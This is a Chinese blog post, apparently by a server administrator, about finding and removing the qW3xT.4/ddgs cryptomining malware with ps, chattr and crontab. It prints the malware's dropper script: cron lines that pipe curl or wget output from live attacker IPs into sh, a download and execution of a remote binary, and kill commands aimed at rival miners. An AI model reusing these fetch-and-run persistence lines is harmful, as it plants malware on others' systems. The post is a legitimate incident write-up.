记一次 qW3xT.4,解决挖矿病毒。
最近感觉我的服务器特别卡,打开数据库都半天,刚开始以为网咯不好也没太在意。
利用top命令:
这时候问题出来了,最高cpu占用100%,那我用啥???
根据进程id 一看究竟,ps -ef|grep 进程id
1.CPU占用最多的前10个进程:
ps auxw|head -1;ps auxw|sort -rn -k3|head -10
2.内存消耗最多的前10个进程
ps auxw|head -1;ps auxw|sort -rn -k4|head -10
3.虚拟内存使用最多的前10个进程
ps auxw|head -1;ps auxw|sort -rn -k5|head -10
果断 kill 掉这些进程,删除qW3xT.4文件。
其中有一个文件比较难删除
lsattr -a thisxxs
chattr -i thisxxs
这样就可以删除了
删除之后kill掉qW3xT.4该进程,但是一段时间之后,发现该行程又重新启动,肯定是有守护进程,观察top命令下的进程,发现一个可疑的进程,直接kill掉。
一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表
crontab -l
*/15 * * * * wget -q -O- http://216.155.135.37:8000/i.sh | sh
原来是它在作祟!删除计划任务 crontab -r
注意这个命令不会下载和执行sh脚本。因为我把管道符去掉了。看到的仅仅是打印的信息。 大概说下这个脚本的意思:
设置环境变量,写定时任务
查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
批量根据关键字杀进程。
计划任务删除完成之后,这个13又开始运行。太顽固了。
于是我又看计划任务的内容,是否是有东西没有删除干净。
[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root ps auxf | grep -v grep | grep /tmp/ddgs. || rm -rf /tmp/ddgs.
if [ ! -f "/tmp/ddgs.3013" ]; then
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs. && /tmp/ddgs. ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg. | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg. | awk '{print $2}' | kill
发现计划任务在服务器中创建了几个文件,
/var/spool/cron/crontabs/root
/var/spool/cron/root
内容是*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh。(与计划任务相同)
将计划任务中创建的文件删除。
最终,这个挖矿病毒终于删除完成
反思
问题解决了,过段时间再看看进程情况,应该是没有了,可以说杀的挺彻底了
最新文章
- oracle对/dev/shm的使用
- boost和C++11中的sleep
- html/css基础篇——DOM中关于脱离文档流的几种情况分析
- div,span,p等转换成可编辑
- IOS 进度条与手势
- Asp.Net中动态页面转静态页面
- node.js 使用 UglifyJS2 高效率压缩 javascript 文件
- Caocao's Bridges
- 自动生成 Lambda查询和排序,从些查询列表so easy
- Python CSV文件处理/读写及With as 用法
- andriod 在windows配置环境
- Java实现 中文转换成Unicode编码 和 Unicode编码转换成中文
- FileReader实现图片预览,并上传(js代码)
- Maven依赖标红线,非jar包冲突问题
- Hibernate 再接触 基础配置 续
- python3 调用 salt-api
- 个人新站 【EXP技术分享博客】 落成~ 全新的技术资源~ 欢迎莅临~
- mysql 替换函数replace()实现mysql 替换字符串
- php中csv文件的下载
- UI设计:掌握这6点,轻松0到1
热门文章
- 【56.74%】【codeforces 732B】Cormen --- The Best Friend Of a Man
- delphi 10.2 创建并使用资源文件(一共22种格式,RCDATA是自定义格式)
- C#常用多线程方法
- Linux性能测试 top命令
- Robot Framework安装指南
- corssplatform---NodeJS基础
- MySQL—FTS实现原理介绍PPT
- CefSharp For WPF基本使用
- JavaScript:undefined And null差异
- WPF 遍历DataTemplate(获取所有控件)